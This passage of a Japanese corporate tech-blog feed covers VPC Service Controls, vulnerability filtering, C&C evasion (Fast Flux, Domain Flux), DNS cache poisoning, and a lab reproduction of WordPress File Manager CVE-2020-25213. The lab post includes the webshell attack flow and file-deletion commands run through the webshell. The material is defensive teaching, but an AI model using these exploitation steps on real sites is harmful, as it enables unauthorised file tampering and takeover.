]</span><br><span class="line">    ingress_policies &#123;</span><br><span class="line">      ingress_from &#123;</span><br><span class="line">        identity_type = <span class="string">&quot;IDENTITY_TYPE_UNSPECIFIED&quot;</span></span><br><span class="line">        identities = [</span><br><span class="line">          <span class="string">&quot;user:xxx@yyy.com&quot;</span></span><br><span class="line">        ]</span><br><span class="line">      &#125;</span><br><span class="line">      ingress_to &#123;</span><br><span class="line">        resources = [<span class="string">&quot;*&quot;</span>]</span><br><span class="line">        operations &#123;</span><br><span class="line">          service_name = <span class="string">&quot;bigquery.googleapis.com&quot;</span></span><br><span class="line">          method_selectors &#123;</span><br><span class="line">            method = <span class="string">&quot;*&quot;</span></span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="まとめ">まとめ</h2><p>今回はBigQueryに対してVPC Service Controlsの機能を試してみました。</p>
<p>VPC Service Controlsではデータのやり取りを内向き・外向きの細かいレベルで制御することが可能になります。</p>
<p>Google Cloud上のデータを守るためにも、ぜひ利用してみて下さい。</p>
]]></content>
    <summary type="html">Google CloudのVPC Service Controlsを利用して、リソースへのアクセス制御をする方法についてTerraformコード付きで紹介していきます。昨今では、個人情報漏洩のニュースが尽きません。少し古いデータではありますが...</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="GoogleCloud" scheme="https://future-architect.github.io/tags/GoogleCloud/"/>
    <category term="VPC" scheme="https://future-architect.github.io/tags/VPC/"/>
    <category term="ネットワーク" scheme="https://future-architect.github.io/tags/Network/"/>
  </entry>
  <entry>
    <title>俺のシステムがこんなに脆弱性だらけのわけがない(linkedpackageの紹介)</title>
    <link href="https://future-architect.github.io/articles/20221223a/"/>
    <id>https://future-architect.github.io/articles/20221223a/</id>
    <published>2022-12-22T15:00:00.000Z</published>
    <updated>2022-12-22T15:00:00.000Z</updated>
    <author><name>澁川喜規</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2022/20221223a/top.jpg" alt="" width="842" height="523">

<p>セキュリティに対して、きちんとお金をかけて対応すべきである、というのが近年の風潮です。そんな中、システム開発では多くのオープンソースのコンポーネントを組み合わせてシステムを構築するようになってきたため、使っている部品の脆弱性管理、というのがかなり大きな市場になってきました。</p>
<p>当社にはOSSのVulsと、それに脆弱性管理の手間を減らしてくれるFutureVulsというSaaSサービスがあります。コンテナのスキャンだとAqua SecurityのTrivyが有名ですね。</p>
<p>開発中のアプリケーションのスキャナーというと、Node.jsのnpmコマンドが脆弱なパッケージの検知機能（auditサブコマンド）を内蔵していますし、Goも公式脆弱性管理データベースのページを作り、新しい仕組みを構築しようとしています(ドキュメント、準標準のチェックコマンド)。言語をまたいで使えるものにはsnykもありますね。</p>
<h2 id="フォールスポジティブ（偽陽性）を減らす">フォールスポジティブ（偽陽性）を減らす</h2><p>Node.jsでの開発は4桁ぐらいパッケージに依存することがありえます。npm auditで少しでも古いパッケージを使うと大量の脆弱性が報告されることがあります。でも、よくよく見てみると実は関係ないのかな？ とも思えるような脆弱性もたくさん出てきますが、なかなか判定を1つ1つ行うのは大変です。</p>
<p>ですが、アプリケーションの開発でいうと、「パッケージリストには追加してみたのだけど、実際には使っていないパッケージ」などがあったりします。Goだとgo mod tidyでお掃除してくれますが。あとは開発用に追加したもので、本番コードにはリンクされていないものもあります。Node.jsなんかは、ほとんどはそうなんじゃないですかね。</p>
<p>あとは、脆弱性がヒットしたとしても、そのパッケージ中の一部の機能は使っているが該当する機能は使っていない、ということもあります。そのため、実際にビルドしたアプリケーションに含まれるソースコードでフィルタリングしたらいいんじゃないか、と思って実証実験的に作ったパッケージが次のものです。</p>
<p>https://github.com/future-architect/linkedpackage</p>
<p>神戸さんからメッセージもらうまでは、作ったことをすっかり忘れていて、とりあえず公開だけしたのが上のリポジトリです。ライセンスはひとまずVulsにあわせてGPLにしています。とりあえず公開だけしたのでREADMEもないですが。</p>
<h2 id="処理の方法">処理の方法</h2><p>現時点ではJavaScriptのプロジェクトに限定した機能になっています。ソースマップをざっとスキャンして、実行ファイルに含まれるソース片を提供しているパッケージを取り出します。コマンドとしても動かせるようにしてあり、linkedpackage auditコマンドを使うと、npm auditの結果を、利用パッケージに限定してフィルタリングして表示、みたいなことができます。</p>
<p>ソースマップ中のパス表記は、その中で識別子が認識一致していたら問題はないと思うのですが、実際のソースコードとリンクさせるには逆変換が必要かなと思っています。ツールによって出てくるパス表記がいろいろあるので、これを地道に拾ってモジュール名を拾うようにしています。地道さが必要ですね。</p>
<ul>
<li><code>webpack:///./node_modules/@babel/runtime/helpers/wrapNativeSuper/_index.mjs</code></li>
<li><code>../webpack:/ncc-project/node_modules/trim/index.js</code></li>
<li><code>webpack://_N_E/ignored|/prj/node_modules/next/dist/shared/lib/router|./utils/resolve-rewrites</code></li>
</ul>
<h2 id="今後">今後</h2><p>Goもdebugパッケージ使えば実行ファイルから、利用しているモジュール一覧が取れるので行けそうですね。そのうち作ろうかな。</p>
<p>ただ、実行ファイルに入っているからといって、それがまた実行されるわけではない、というのはあります。JavaScriptだとtree shakingという最適化がありますが完璧にフィルタリングできるわけではありません。Goはそこまで積極的なCode Eliminationはしてない印象がありますし、グローバル変数を含めinit()から参照されるオブジェクトなんかは使ってなくてもリンクされてしまいます。Goは1.20からプロファイラ機能とリンクしたオプティマイザが入ります。この情報が外部のツールから使えるかどうかはわからないですが、実際に実行されている行だけ取り出せれば、また精度の高いフィルタリングができるんじゃないかな、と思っています。</p>
]]></content>
    <summary type="html">セキュリティに対して、きちんとお金をかけて対応すべきである、というのが近年の風潮です。そんな中、システム開発では多くのオープンソースのコンポーネントを組み合わせてシステムを構築するようになってきたため、使っている部品の脆弱性管理、というのがかなり大きな市場になってきました。当社にはOSSのVulsが有名ですね。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="JavaScript" scheme="https://future-architect.github.io/tags/JavaScript/"/>
    <category term="Node.js" scheme="https://future-architect.github.io/tags/Node-js/"/>
    <category term="npm" scheme="https://future-architect.github.io/tags/npm/"/>
    <category term="脆弱性" scheme="https://future-architect.github.io/tags/%E8%84%86%E5%BC%B1%E6%80%A7/"/>
  </entry>
  <entry>
    <title>IPAの過去問で学ぶC &amp; C(Command &amp; Control)サーバの手法と対応策</title>
    <link href="https://future-architect.github.io/articles/20221121a/"/>
    <id>https://future-architect.github.io/articles/20221121a/</id>
    <published>2022-11-20T15:00:00.000Z</published>
    <updated>2022-11-20T15:00:00.000Z</updated>
    <author><name>村瀬善則</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2022/20221121a/candc.png" alt="" width="1200" height="700">

<h2 id="はじめに">はじめに</h2><p>こんにちは。TIG 村瀬です。<br>前回に引き続き、情報処理推進機構(IPA)のネットワークスペシャリスト試験の過去問からC&amp;C(Command &amp; Control)サーバの手法と対応策が興味深かったので自分の知識を整理するためブログにしてみました。</p>
<p>対象の試験は ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2<br>過去問はこちらからダウンロード可能です。</p>
<p>当たり前ですが、このブログでは犯罪行為を推奨するものではなく、セキュリティ意識、対策の向上を目的として記載しております。</p>
<h2 id="C-C-Command-Control-サーバとは">C&amp;C(Command &amp; Control)サーバとは</h2><p>インターネットを経由してボットネットやPC上のマルウェアに対して命令(Command)を送信し、遠隔操作(Control)するサーバです。</p>
<h2 id="なぜインターネットから内部LANのPCに遠隔操作できるのか">なぜインターネットから内部LANのPCに遠隔操作できるのか</h2><p>適切にファイアウォールの設定がされていればインターネットから内部LAN上のPCにはアクセスできないはずです。しかしながら内部LANのPC(のマルウェア)からインターネット上のC&amp;Cサーバにアクセスすることでファイアウォールを突破しCommandを取得します。プロトコルはHTTPS,HTTPなどが利用されるので一般のWebページと見分けがつきません。Webページの閲覧は許容されている企業が多いため、一度マルウェアの侵入を許してしまうと継続的にCommandを受け付けてしまうことになります。</p>
<img src="/images/2022/20221121a/candc1.png" alt="candc1.png" width="1186" height="669" loading="lazy">

<h2 id="試験問題に基づく対応方法-IPアドレスを指定した遮断">試験問題に基づく対応方法 IPアドレスを指定した遮断</h2><p>ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2 から抜粋</p>
<blockquote>
<p>C&amp;CサーバのIPアドレスが特定できれば、FPサーバでC&amp;Cサーバとの通信は遮断できる。</p>
</blockquote>
<p>問題文にあるとおり、C&amp;Cサーバとの通信はIPアドレスが特定できればFP(フォワードプロキシ)サーバで遮断できます。</p>
<img src="/images/2022/20221121a/candc2.png" alt="candc2.png" width="1017" height="464" loading="lazy">

<h2 id="攻撃者による攪乱-Fast-Flux">攻撃者による攪乱 Fast Flux</h2><p>通信遮断のため、IPアドレスを特定したいのですが、攻撃者はFast Fluxと呼ばれる手法を用いてIPアドレスの特定を困難にします。</p>
<h3 id="Fast-Fluxとは">Fast Fluxとは</h3><p>ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2 から抜粋</p>
<blockquote>
<p>Fast Fluxは、特定のドメインに対するDNSレコードを短時間に変化させることによって、サーバの追跡を困難にさせる手法である。</p>
</blockquote>
<blockquote>
<p>マルウェアが、一定間隔でfast-flux.example.comへアクセスを行えば、毎回、異なるIPアドレスで、ボットを経由してC&amp;Cサーバと通信することになる。</p>
</blockquote>
<p>問題文にあるとおりfast-flux.example.comに対するIPアドレスを複数設定し、かつ短時間でIPアドレスを変更します。<br>前回説明したDNSキャッシュポイズニングでは攻撃者から攻撃を受けにくくするための施策として大量の送信元ポート番号を利用しましたが、反対にそれを悪用された感じがしますね。<br>これをやられるとIPアドレスの特定が困難になってしまいます。</p>
<img src="/images/2022/20221121a/candc3.png" alt="candc3" width="915" height="577" loading="lazy">

<h2 id="試験問題に基づく対応方法-FQDNを指定した遮断">試験問題に基づく対応方法 FQDNを指定した遮断</h2><p>IPアドレスの特定が困難なので、IPアドレスではなくマルウェアがアクセスするFQDN(fast-flux.example.com)を特定することで通信の遮断を試みます。</p>
<h2 id="攻撃者による攪乱-Domain-Flux">攻撃者による攪乱 Domain Flux</h2><p>攻撃者はこれを避けるためにDomain Fluxと呼ばれる手法を用います。</p>
<h3 id="Domain-Fluxとは">Domain Fluxとは</h3><p>ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2 から抜粋</p>
<blockquote>
<p>Domain Fluxは、ドメインワイルドカードを用いて、あらゆるホスト名に対して、同一のIPアドレスを応答する手法である。Fast FluxとDomain Fluxを組み合わせることによって、C&amp;CサーバのFQDNとIPアドレスの両方を隠蔽できる。</p>
</blockquote>
<p>なんということでしょう。FQDNが特定できません。マルウェアはきっとホスト名の部分(fast-flux)を定期的に変更してC&amp;Cと通信することでしょう。<br><img src="/images/2022/20221121a/candc4.png" alt="candc4" width="1127" height="652" loading="lazy"></p>
<p>これに関しては確かにFQDNは特定できませんがワイルドカードを用いて*.example.comへのアクセスを遮断すればよさそうです。<br>すごい手法だと思いましたが、ドメイン名を指定して遮断できるので怖くないですね。</p>
<img src="/images/2022/20221121a/candc5.png" alt="candc5" width="1159" height="654" loading="lazy">

<h2 id="試験問題に基づく対応方法-プロキシ認証の導入">試験問題に基づく対応方法 プロキシ認証の導入</h2><p>ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2 から抜粋</p>
<blockquote>
<p>このような攻撃が行われた場合を想定し、2人は、現行のFPサーバをHTTPS通信の復号機能をもつ機種に交換し、プロキシ認証を併せて行うことにした。</p>
</blockquote>
<p>プロキシ認証を設けることでIPアドレスやFQDNが何であれ、プロキシの認証情報を知らないマルウェアはC&amp;Cサーバと通信できなくなります。<br>マルウェアがもし動作していたらFPサーバのログに認証失敗のログが短時間に大量に出力されることでしょう。<br>この対応により通信の遮断と感染の検知ができるようになりました。</p>
<img src="/images/2022/20221121a/candc6.png" alt="candc6" width="1151" height="645" loading="lazy">

<h2 id="対応に関して">対応に関して</h2><p>試験問題という特性上、効果の低い対応からしていきましたが、本来であれば費用対効果が高い施策から打てると良いですね。<br>また、問題文においてもアプライアンスを交換していました。セキュリティの重要さを分かった人がスピーディーに対応できる組織は強いですね。</p>
<h2 id="さいごに">さいごに</h2><p>試験問題なので通常は読み物として面白くありませんが、この問題に関しては攻撃者とネットワーク運用担当の攻防が見られ、ハラハラドキドキし小説を読んでいるかのように面白かったです。</p>
<p>加えてネットワークだけではなくセキュリティの知識向上に繋がるのでとても良い問題だと思いました。</p>
<p>セキュリティは重要ですが、やみくもに恐れてはセキュリティ対策コストがいくらあっても足りません。どういった仕組みで攻撃が成功するかを適切に理解しておくことで、費用対効果の高いセキュリティ対策やインフラ設計ができるようになるはずです。</p>
<p>日々新たな脆弱性が見つかる状況であるため、100％安全と言い切れるネットワークを作ることは不可能です。しかしそのような状況であっても攻撃に合う確率を如何に0％に近づけるかがネットワーク(セキュリティ)エンジニアの腕の見せ所かと思います。</p>
]]></content>
    <summary type="html">情報処理推進機構(IPA)のネットワークスペシャリスト試験の過去問からC&amp;C(Command &amp; Control)サーバの手法と対応策が興味深かったので自分の知識を整理するためブログにしてみました</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="IPA" scheme="https://future-architect.github.io/tags/IPA/"/>
    <category term="ネットワーク" scheme="https://future-architect.github.io/tags/Network/"/>
  </entry>
  <entry>
    <title>IPAの過去問で学ぶDNSキャッシュポイズニングの攻撃手法と対応策</title>
    <link href="https://future-architect.github.io/articles/20220511a/"/>
    <id>https://future-architect.github.io/articles/20220511a/</id>
    <published>2022-05-10T15:00:00.000Z</published>
    <updated>2022-05-10T15:00:00.000Z</updated>
    <author><name>村瀬善則</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2022/20220511a/title.png" alt="title.png" width="840" height="542">

<h2 id="はじめに">はじめに</h2><p>こんにちは。TIG 村瀬です。</p>
<p>情報処理推進機構(IPA)のネットワークスペシャリスト試験の過去問を解いていて興味深い問題がありました。</p>
<p>対象の試験は ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2<br>過去問はこちらからダウンロード可能です。<br>　　<br>この問題の中でSYNフラッド攻撃、DNSキャッシュポイズニング、C&amp;C(Command &amp; Control)サーバの攻撃手法と対応策が記載されています。</p>
<p>ネットワークの試験ではあるものの内容としてはセキュリティに関するものです。DNSキャッシュポイズニングという攻撃があるのは知っていたのですが、攻撃手法と対応策を知らなかったので自分の知識を整理するためにブログにしてみました。</p>
<p>当たり前ですが、このブログでは犯罪行為を推奨するものではなく、セキュリティ意識、対策の向上を目的として記載しております。</p>
<h2 id="DNSとは">DNSとは</h2><p>DNSキャッシュポイズニングの説明をする前にDNSについておさらいします。</p>
<p>DNS(ディーエヌエス: Domain Name System)とはインターネットなどのIPネットワーク上でドメイン名(ホスト名)とIPアドレスの対応を管理するシステムです。</p>
<p>DNSがあるおかげで利用者はブラウザにURLを入力するだけで目的のWebページを見ることができます。目的のWebページが表示されるまでの過程で利用者が意識することなくDNSの名前解決によってドメイン名(ホスト名)からIPアドレスを取得しています。</p>
<p>インターネットを支える縁の下の力持ちですね。</p>
<h2 id="DNSキャッシュポイズニングとは">DNSキャッシュポイズニングとは</h2><p>DNSキャッシュポイズニングとはDNSのキャッシュを書き換えることでDNSの名前解決で本来あるべきIPアドレスではなく、攻撃者が用意した悪意のあるサーバのIPアドレスを返却すること。これがなされると悪意のあるサーバでフィッシングなどが行われます。不正なURLを利用する一般的なフィッシングとは異なり、正規のURLで悪意のあるWebページが表示されることになるので注意深いユーザであっても気が付くのは困難になります。</p>
<h2 id="なぜキャッシュを書き換えられるのか">なぜキャッシュを書き換えられるのか</h2><p>試験問題を読むと理解しやすかったので抜粋します。</p>
<figure class="highlight text"><table><tr><td class="code"><pre><span class="line">DNSキャッシュポイズニング攻撃は、次の手順で行われる。</span><br><span class="line">(ⅰ)攻撃者は、偽の情報を送り込みたいドメイン名について、標的のフルリゾルバサーバに問い合わせる。</span><br><span class="line">(ⅱ)フルリゾルバサーバは、指定されたドメインのゾーン情報を管理するコンテンツサーバに問い合わせる。</span><br><span class="line">(ⅲ)攻撃者は、コンテンツサーバから正しい応答が返ってくる前に、大量の偽の応答パケットを標的のフルリゾルバサーバ宛てに送信する。</span><br><span class="line">(ⅳ)フルリゾルバサーバは、受信した偽の応答パケットをチェックし、偽の応答パケットが正当なものであると判断してしまった場合、キャッシュの内容を偽の応答パケットを基に書き換える。</span><br></pre></td></tr></table></figure>

<p>ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2 から抜粋(試験問題に関する表記を改変しています。)</p>
<p>問題文に記載のある通り、フルリゾルバサーバが偽の応答パケットを正当なものと判断してしまうため、誤った情報がキャッシュされてしまいます。</p>
<p>もう少し詳細に説明すると上記のDNSのやりとりはTCPではなく、UDPで行われます。UDPでは通信相手を確認することなく処理が行われるため、攻撃者は偽のパケットを容易に作成できます。</p>
<p>問合せに対する応答は先に届いた情報が利用されるので、正当な応答パケットよりも先に偽の応答パケットがフルリゾルバサーバに受信されると攻撃が成功してしまうのです。</p>
<p>図で表すと以下のようになります。</p>
<h3 id="通常時の名前解決">通常時の名前解決</h3><p>問合せに対して応答が1つだけなされます。その応答の情報がキャッシュされます。</p>
<img src="/images/2022/20220511a/p1.png" alt="通常時の名前解決" width="1200" height="380" loading="lazy">

<h3 id="DNSキャッシュポイズニングが行われる場合">DNSキャッシュポイズニングが行われる場合</h3><p>正規の応答が行われるタイミングに合わせて正当なものであると判断されうる大量の偽の応答パケットを送信します。<br><img src="/images/2022/20220511a/p2.png" alt="DNSキャッシュポイズニング" width="1200" height="366" loading="lazy"></p>
<p>攻撃者は宛先ポート番号と識別子が何かわからないのでこれらを変更した応答パケットを大量に送信することになります。全てのパターンを網羅する場合には宛先ポート番号 * 識別子の全ての組み合わせになります。宛先ポート番号が固定の単一のポートであった場合、識別子は16ビットのため65,536パターンになります。</p>
<p>なお、応答パケットに必要なその他の情報であるフルリゾルバサーバのIPアドレス、コンテンツサーバのIPアドレス、送信元ポート番号は攻撃者が容易に把握できるものになります。</p>
<h2 id="対応策">対応策</h2><p>大別して2つの方法があります。</p>
<h3 id="対応策1-送信元ポート番号のランダム化">対応策1 送信元ポート番号のランダム化</h3><p>ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2 から抜粋します。</p>
<figure class="highlight text"><table><tr><td class="code"><pre><span class="line">(ⅱ)の問合せパケットの送信元ポート番号には特定の範囲の値が使用されるケースが多いので、攻撃者は、(ⅲ)の偽の応答パケットを正当なパケットに偽装しやすくなるという問題がある。調査の結果、この問題の対応策には、送信元ポート番号のランダム化があることが分かった。</span><br></pre></td></tr></table></figure>

<p>DNSキャッシュポイズニング攻撃が成立する条件の必要条件として、問合せパケットの送信元ポート番号と応答パケットの宛先ポート番号が一致し、かつ問合せパケットの識別子と応答パケットの識別子が一致することが挙げられます。固定であった送信元ポート番号をランダムにすることで攻撃が成功する確率をぐっと下げることができます。</p>
<p>100個のポート番号を利用するだけでも成功率を1&#x2F;100にできます。ポート番号を仮に30,000個利用する場合の全ての組み合わせは、30,000 * 65,536 &#x3D; 1,966,080,000パターンになるので攻撃者からしてみると用意するのが辛い数になります。</p>
<h3 id="対応策2-フルリゾルバサーバに対する攻撃者からの名前解決要求の禁止">対応策2 フルリゾルバサーバに対する攻撃者からの名前解決要求の禁止</h3><p>また、試験問題と解答にもあるとおり、そもそもの話、フルリゾルバサーバに対して攻撃者から名前解決の要求を禁止することが効果的です。<br>試験問題では外部DNSサーバ上でフルリゾルバサーバとコンテンツサーバが稼働しているため、(試験問題の都合上)インターネットからの名前解決要求を許容していました。</p>
<img src="/images/2022/20220511a/p3.png" alt="フルリゾルバサーバに対する攻撃者からの名前解決要求の禁止" width="794" height="590" loading="lazy">

<p>ネットワークスペシャリスト試験 令和元年度 午後Ⅱ 問2から引用</p>
<p>試験問題と解答を踏まえてフルリゾルバサーバとコンテンツサーバの分離後のあるべき姿を整理すると以下の通りです。</p>
<ul>
<li>フルリゾルバによるインターネット上のホストの名前解決はFPサーバとメール中継サーバからの要求に応答できればよい。</li>
<li>コンテンツサーバは、インターネット上の不特定のホストからの名前解決要求に応答する必要がある。</li>
</ul>
<p>フルリゾルバサーバは社内(DMZ)からの名前解決要求だけ許容すれば良いため、インターネットからのフルリゾルバサーバに対する名前解決要求をファイアウォールで防ぐことが重要です。<br>この対応により攻撃者はインターネットからフルリゾルバサーバに対して名前解決要求をできなくなります。<br>ちなみにコンテンツサーバにはインターネットからの名前解決要求が来ますが、DNSキャッシュを持たないので問題ありません。</p>
<h2 id="さいごに">さいごに</h2><p>DNSキャッシュポイズニングという言葉自体は知っていたものの、キャッシュを書き換える仕組みや対応策を知らなかったのでネットワークスペシャリスト試験の勉強をすることで知識が身に付きました。</p>
<p>セキュリティは重要ですが、やみくもに恐れてはセキュリティ対策コストがいくらあっても足りません。どういった仕組みで攻撃が成功するかを適切に理解しておくことで、費用対効果の高いセキュリティ対策やインフラ設計ができるようになるはずです。</p>
<p>日々新たな脆弱性が見つかる状況であるため、100％安全と言い切れるネットワークを作ることはできません。しかしそのような状況であっても攻撃に合う確率を如何に0％に近づけるかがネットワーク(セキュリティ)エンジニアの腕の見せ所かと思います。</p>
<p>今回はDNSキャッシュポイズニングに焦点を充てて記載しましたが、SYNフラッド攻撃、C&amp;C(Command &amp; Control)サーバも興味深いのでそのうちまとめてみようと思います。</p>
]]></content>
    <summary type="html">情報処理推進機構のネットワークスペシャリスト試験の過去問を解いていて興味深い問題がありました。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="DNS" scheme="https://future-architect.github.io/tags/DNS/"/>
    <category term="IPA" scheme="https://future-architect.github.io/tags/IPA/"/>
    <category term="キャッシュ" scheme="https://future-architect.github.io/tags/%E3%82%AD%E3%83%A3%E3%83%83%E3%82%B7%E3%83%A5/"/>
    <category term="ネットワーク" scheme="https://future-architect.github.io/tags/Network/"/>
  </entry>
  <entry>
    <title>WordPressの脆弱性への攻撃とセキュリティ対策の実施</title>
    <link href="https://future-architect.github.io/articles/20220414a/"/>
    <id>https://future-architect.github.io/articles/20220414a/</id>
    <published>2022-04-13T15:00:00.000Z</published>
    <updated>2022-04-13T15:00:00.000Z</updated>
    <author><name>八田奈子</name></author>
    <content type="html"><![CDATA[<h2 id="はじめに">はじめに</h2><p>2021年7月入社の八田です。現在はCSIG（Cyber Security Innovation Group）に所属しています。CSIGは、リスクアセスメントやセキュリティ対策支援を行うコンサルティングチームと、FutureVulsを開発しているチームがあり、私は前者のコンサルティングチームに所属しています。今回はIT未経験で入社した私が技術面のキャッチアップとして取り組んだ、脆弱性への攻撃および対策方法を共有したいと思います。</p>
<p>本記事で、読者の皆さんのセキュリティ分野への関心・理解を深められたり、「文系・IT未経験でも入社半年でこのレベルのことができるようになるのだ！」ということを伝えられたら嬉しいです。</p>
<h2 id="WordPressプラグインの脆弱性CVE-2020-25213">WordPressプラグインの脆弱性CVE-2020-25213</h2><p>今回扱ったのは、WordPressのプラグインFile Managerの脆弱性で、CVE-2020-25213が割り当てられているものです。</p>
<p>ご存知の方も多いかもしれませんが、WordPressというのは簡単にホームページが作成できるCMS（Contents Management System）であり、File ManagerはWordPress上のフォルダやファイルの管理ができるプラグインのことです。その利便性が故に、File Managerは非常に人気のプラグインでダウンロードは70万を超えているようです。</p>
<p>そんな大人気のプラグインFile Managerですが、2020年に重大な脆弱性が発覚しました。<br>この脆弱性を利用することで、認証不要でファイルのアップロードができます。WebShellをアップロードすることで、任意のコードを実行できます。</p>
<p>この脆弱性を利用すれば、Webサーバからの情報漏洩やサイトの改ざんが可能です。また、具体的な方法は後述しますが攻撃が非常に容易であるのもこの脆弱性の特徴で、誰でも利用できてしまいます（今回のキャッチアップでこの脆弱性を選んだのも攻撃が容易だったというのが理由です）。</p>
<p>また、米国のサイバーセキュリティやインフラの安全に関わるアドバイザリーを行う政府機関のCISA（Cybersecurity and Infrastructure Security Agency）が発表している脆弱性リスト「Known Exploited Vulnerabilities Catalog（KEV Catalog）」にも登録されていることから、悪用される危険性が非常に高い脆弱性ということがわかります。</p>
<h2 id="攻撃方法">攻撃方法</h2><p>今回確認したPoCは、攻撃対象のWordPressサーバとは別のホストから攻撃を仕掛け、攻撃対象のWordPressサーバに格納されたテストファイルを削除したり、新たにファイルを配置したりするというものです。</p>
<p>攻撃対象サーバ構築では、以下のものを使用しました。</p>
<p><strong>環境情報（攻撃対象サーバ）</strong></p>
<ul>
<li>CentOS 7.9</li>
<li>Apache 2.4.6</li>
<li>MariaDB 10.6</li>
<li>PHP 8.0</li>
<li>WordPress 5.9.1</li>
<li>File Manager 6.0</li>
</ul>
<p>一般的な構築手順のためインストール作業の詳細は省略しますが、以下の流れで進めました。</p>
<ol>
<li>Apache、MariaDB、PHPインストール</li>
<li>WordPressインストール</li>
<li>File Managerインストール</li>
<li>テストファイル（testfile）作成</li>
</ol>
<p><strong>環境情報（攻撃クライアント）</strong></p>
<ul>
<li>CentOS 7.9（攻撃対象サーバとは別に用意）</li>
<li>Python 2.7</li>
<li>pip 20.3.4</li>
<li>requests 2.6.0</li>
</ul>
<p>検証に使うPoCはこちらで公開されているコードを使用しました。</p>
<p>このPoCは、攻撃対象サーバのconnector.minimal.phpというファイルに対してPOSTし、connector.minimal.phpを介してelFinder（サーバ内のファイルを扱うもの）インスタンスを呼び出すことで、x.phpというWebShellを配置します。そして配置したx.phpに対して任意のコマンドを送ります。<br><img fetchpriority="high" src="/images/2022/20220414a/攻撃仕組み4_2022-04-08_085527.png" alt="攻撃仕組み4_2022-04-08_085527.png" width="934" height="631"></p>
<p>したがって、今回のFile Managerの脆弱性はconnector.minimal.phpが外部から実行できてしまうことに原因があると言えるでしょう。</p>
<h3 id="攻撃実行">攻撃実行</h3><p>攻撃対象サーバに対して攻撃をしていきます。<br><code>./vul.py http //192.168.10.6/wordpress</code><br>まず、攻撃クライアント構築で作成したファイルを実行します。これにより、攻撃側が用意したPHPファイルが攻撃対象サーバへ格納され、任意のコマンド実行が可能な状態となります。</p>
<p>その後、任意のコマンドを入力できるようになるので、攻撃対象サーバ内で実行させたい任意のコマンドを入力します。</p>
<p>今回実行したコマンドは順に、</p>
<ol>
<li>既存ファイルの削除</li>
</ol>
<p><code>rm -f /var/www/html/testfile</code></p>
<ol>
<li>ファイルの配置</li>
</ol>
<p><code>touch /var/www/html/wordpress/testfile2</code></p>
<ol>
<li>ファイルへの書き込み</li>
</ol>
<p><code>echo Hello &gt;&gt; /var/www/html/wordpress/testfile2</code></p>
<p>の3つです。</p>
<p>※上の黒いウィンドウが攻撃対象（192.168.10.6）、下の青いウィンドウが攻撃クライアントです。<br><img src="/images/2022/20220414a/攻撃実行タイトルフレーム付_0408.gif" alt="攻撃実行タイトルフレーム付_0408" width="959" height="984" loading="lazy"></p>
<p>このように、非常に簡単にWordPressサーバ内のファイル配置や削除、変更が可能であることがわかります。<br>これを利用すれば、WordPress関連の設定ファイルの改ざんや悪意のあるスクリプトが記載されたファイルをアップロードするといった不正が行われてしまいます。</p>
<h2 id="対策方法">対策方法</h2><p>攻撃に対してどのように検知・防御できるかを検討しました。</p>
<p>脆弱性に対する対策として、ソフトウェアのアップデートを行うことが最も効果的です。</p>
<p>しかし、他のソフトウェアとの互換性がなくなってしまう、などの事情でアップデートできない場合も考えられます。そこで今回は、他に行うことができる対策として複数のセキュリティツールで対策する多層防御を実施しました。</p>
<img src="/images/2022/20220414a/対策図_2022-04-08_104452.png" alt="対策図_2022-04-08_104452" width="837" height="478" loading="lazy">

<p>複数の層で対策をすることで、一か所の防御が破られても他のレイヤでカバーできセキュリティレベルが高まります。</p>
<p>実際に行った対策は以下の通りです。</p>
<ol>
<li>改ざん検知</li>
<li>脆弱性検知・管理</li>
<li>侵入防御</li>
<li>アクセス制御</li>
<li>ログ監視・通知</li>
</ol>
<p>実施した各対策について説明していきたいと思います。</p>
<h3 id="1-改ざん検知">1. 改ざん検知</h3><p>今回の攻撃では、攻撃用のPHPファイルが追加されたり既存のファイルが削除されたりと、攻撃対象サーバ内でのファイルの不審な動きが多かったため、ファイルの変更監視を行うTripwireというツールを使用して改ざん検知および間接的な不正侵入検知を行いました。</p>
<p>Tripwireとはホスト型IDSで、あらかじめ作成したベースラインデータベースと現行システム上のファイル・ディレクトリの状態を照合（整合性チェック）することで、差分検知します。また、不正に改ざんされたり意図せず破損してしまったりした場合には元の状態に戻すこともできます。</p>
<p>こちらを使って、実施した攻撃の1つのテストファイルの削除を検知しました。</p>
<h4 id="検知の実施">検知の実施</h4><p>差分検知には、監査対象および監査ルールを定義するポリシーファイルとベースラインデータベースの作成が必要です。まず、ポリシーファイルを作成します。<br>デフォルトのポリシーファイルの内容を今回の環境に最適化するため、ファイルを書き換えました。<br>新しいポリシーファイルを基にベースラインとなるデータベースを作成します。<br><code>tripwire -m i -s -c /etc/tripwire/tw.cfg</code></p>
<p>データベースが作成できたら、攻撃クライアントから攻撃対象サーバ内のテストファイルを削除し、攻撃対象サーバで差分検知をします。<br><code>tripwire -m c -s -c /etc/tripwire/tw.cfg</code><br>レポートを見てみるとテストファイルがなくなっていることがわかります。<em>➀<br>また、Modifiedの欄にあるPHPファイルが攻撃クライアントから送られてきたものです。</em>➁（何度も攻撃しているのでModified欄に入っていますが、攻撃初回はAddedの欄に表示されると思います）。</p>
<img src="/images/2022/20220414a/TWレポート_再_2022-04-01_102943_(4).png" alt="TWレポート_再" width="686" height="342" loading="lazy">

